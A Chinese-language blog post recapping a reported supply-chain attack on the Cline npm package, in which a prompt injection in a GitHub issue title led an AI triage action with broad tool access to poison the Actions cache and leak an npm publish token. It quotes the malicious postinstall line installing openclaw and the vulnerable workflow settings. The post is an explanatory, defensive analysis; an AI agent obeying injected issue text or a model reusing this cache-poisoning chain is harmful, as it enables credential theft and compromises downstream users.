一个 GitHub Issue 标题如何让 4000 台电脑沦陷?

原文地址:

  1. A GitHub Issue Title Compromised 4,000 Developer Machines
  2. How to steal npm publish tokens by opening GitHub issues

此系列并非原文的死板翻译,而是我经过理解和提炼后的输出。仅聚焦其中最有意思和有价值的部分。想了解所有细节的小伙伴,可以去原文查看完整内容。

试想一下:你只是像往常一样打开电脑写代码,但你的 npm publish token 却已经被黑客窃取了------而这一切的罪魁祸首,竟然只是某人在某个开源项目里提了一个 GitHub Issue!

这听起来像是天方夜谭,但它却真实地发生在了 AI 编程助手 Cline 身上。

背景:一颗名为 OpenClaw 的"子弹"

在 2026 年 2 月 17 日,有人悄悄发布了 cline@2.3.0。这个版本表面上波澜不惊,仅仅在 package.json 中添加了一句不起眼的脚本:

bash 复制代码
"postinstall": "npm install -g openclaw@latest"

不过,这里被安装的"龙虾"(OpenClaw)并不是今天的主角,它只是这次攻击中被黑客利用的一把枪

当时的 OpenClaw(2026.1.29 版本之前)存在一个极其严重的身份验证绕过漏洞(CVE-2026-25253,CVSS 评分高达 8.8!)。简单来说,任何人都可以通过跳过握手过程中的 scopes 字段,直接以最高权限的"操作员"身份连接,完全不需要令牌(Token)。而 OpenClaw 本身对系统的权限极大,这就意味着你环境变量中的各种敏感数据,瞬间成了黑客的囊中之物。

整个恶意包存活了短短 8 小时,却被下载安装了大约 4000 次。

最让人拍案叫绝的,是这场攻击的入口 ------黑客仅仅通过自然语言,利用 GitHub Issue 的标题,就完成了一次完美的"提示词注入(Prompt Injection)"攻击。

攻击过程:教科书级的供应链投毒

原文 1 整理了非常完整的攻击链路图,这里借着图片,带大家重新梳理一下这个精妙的过程:

1. GitHub Issue 注入:祸从口出

首先,Cline 仓库使用 Anthropic 官方的 claude-code-action 来进行 Issue 的自动化分类,它会自动读取用户提的问题、添加对应的标签等。

它的配置是这样的:

yaml 复制代码
allowed_non_write_users: "*"
claude_args: >-
  --allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"
prompt: |
  **Issue:** #${{ github.event.issue.number }}
  **Title:** ${{ github.event.issue.title }}

稍微对权限和安全敏感的朋友,看到这里可能已经倒吸一口凉气了。这里存在三个致命问题:

  1. 任何 GitHub 用户都可以创建 Issue(毫无门槛)。
  2. Claude Action 的权限给得太大 了!它不仅有读权限,甚至还有写文件和运行 Bash 命令的权限。
  3. GitHub Issue 的标题,被直接拼接到了 prompt 配置中!

其中第三点,正是这次攻击的"命门"。由于直接把外部不可信的输入(Issue 标题)喂给了 AI,这就给了黑客进行提示词注入的绝佳机会。配合上第二点里过大的工具权限,黑客只要在标题里写上一段"自然语言命令",AI 就会乖乖去执行。

2. GitHub Actions 缓存污染:偷梁换柱

提示词注入只是第一步。毕竟,上一步受控的只是个 Issue 分类工具,它是怎么影响到 NPM 发包的呢?这一步才是真正精妙的操作。

Cline 的发布工作流为了加速,使用了 node_modules 缓存:

yaml 复制代码
- name: Cache root dependencies
  uses: actions/cache@v4
  id: root-cache
  with:
    path: node_modules
    key: ${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}

在 GitHub Actions 上,每个仓库都有一个共享的缓存池(最大 10GB)。当缓存池被填满后,旧的缓存就会被系统自动擦除。

这就好比一个公共储物柜(Cache 池)满了,黑客故意塞满一堆垃圾把原本主人的东西挤出去,然后偷偷放进一个长得一模一样、但里面装了炸弹的假包裹(篡改后的 node_modules)。

在这个例子中,Issue 检测和发布的 Action 共用同一个缓存池。攻击者通过提示词注入,命令 AI 疯狂向缓存写入大量垃圾数据,迫使 GitHub 清除了旧的合法缓存。随后,攻击者再写入一个新的缓存 Key,而这个 Key 指向的,正是他们提前篡改过的恶意 node_modules

当 Cline 的维护者触发正常的发布 Action 时,工作流就会毫无防备地从缓存中拉取那个带有后门的 node_modules。最终,攻击者在发布环境里如鱼得水,轻松窃取了环境变量中的 NPM Publish Token。

3. 恶意版本发布:收网

到了这一步,一切水到渠成。黑客拿着第二步窃取到的 NPM Token,光明正大地发布了带有恶意 postinstall 脚本的 cline@2.3.0 版本。

Cline 的"草台班子"应对

其实,这个漏洞早在 2025 年 12 月下旬,就已经被安全研究员 Adnan Khan 发现,并通过 GitHub 的安全公告(Security Advisory)上报给了官方。

但令人无语的是,Cline 方面似乎并没有引起足够的重视,一直没有实质性动作。直到 2 月 9 日 Khan 彻底公开了漏洞细节,Cline 方面才开始进行修复和 Token 的轮换。

然而最戏剧性的一幕来了:Cline 方面居然删错了 Token!

由于被窃取的旧 Token 有效期足够长且没有被真正吊销,黑客最终还是成功利用它发布了恶意包。

从去年 12 月下旬初次上报,到 2 月中旬事发,中间足足有 2 个多月的空窗期。如果 Cline 团队稍微重视一点安全问题,这场波及 4000 台机器的供应链攻击,完全是可以避免的。

这里不得不提一下我们公司在安全方面的响应速度了。有时候虽然看起来有点"小题大做",但遇到这类安全报告,真的是会第一时间停下手头其他事情,集中精力去排查和复盘的。安全无小事啊!

总结与启示

1. 警惕"自然语言"的注入攻击

这个事件给我最大的感受是:AI 时代的安全边界正在被重塑。

如果你的产品接入了 AI,那么在任何涉及 AI 处理的输入框里,你不仅要防范传统的 XSS、SQL 注入,更要时刻警惕**自然语言的提示词注入(Prompt Injection)**攻击。

未来的网络安全工程师,可能真的要开始学写 Prompt 防御策略了。

2. NPM 的防线该如何巩固?

巧的是,在上一篇精读文章中,刚好介绍了利用 pnpm 的安全控制功能防御 npm 供应链攻击

如果开发者们使用了上一篇文章里提到的任何一个技巧,都极有可能阻断这次 openclaw 的恶意安装,从而避免惨剧发生。

在 Node 生态中,NPM 的供应链安全,真的是时候引起每一位开发者的重视了。

AI 时代的工具链越来越智能,但也带来了防不胜防的全新安全盲区。

相关推荐
SimonKing2 小时前
开源免费!传统项目也可以接入天爱验证码(TAC),坑我来填
java·后端·程序员
wuhen_n2 小时前
Prompt工程进阶:少样本与思维链
前端·javascript·ai编程
猹叉叉(学习版)2 小时前
【ASP.NET CORE】 13. DDD初步实现
笔记·后端·架构·c#·asp.net·.netcore
huabiangaozhi2 小时前
Spring Cloud Gateway 整合Spring Security
java·后端·spring
野犬寒鸦2 小时前
从零起步学习计算机操作系统:进程篇(知识扩展提升)
java·服务器·开发语言·后端·面试
AI探知-阿薇2 小时前
cc-switch 深度解析:终端 AI 编程助手的统一控制平面是怎么炼成的?
人工智能·平面·ai编程
轩情吖2 小时前
MySQL内置函数
android·数据库·c++·后端·mysql·开发·函数
IT_陈寒2 小时前
JavaScript开发者必知的5个高效调试技巧,比console.log强10倍!
前端·人工智能·后端
小箌2 小时前
springboot_02
java·spring boot·后端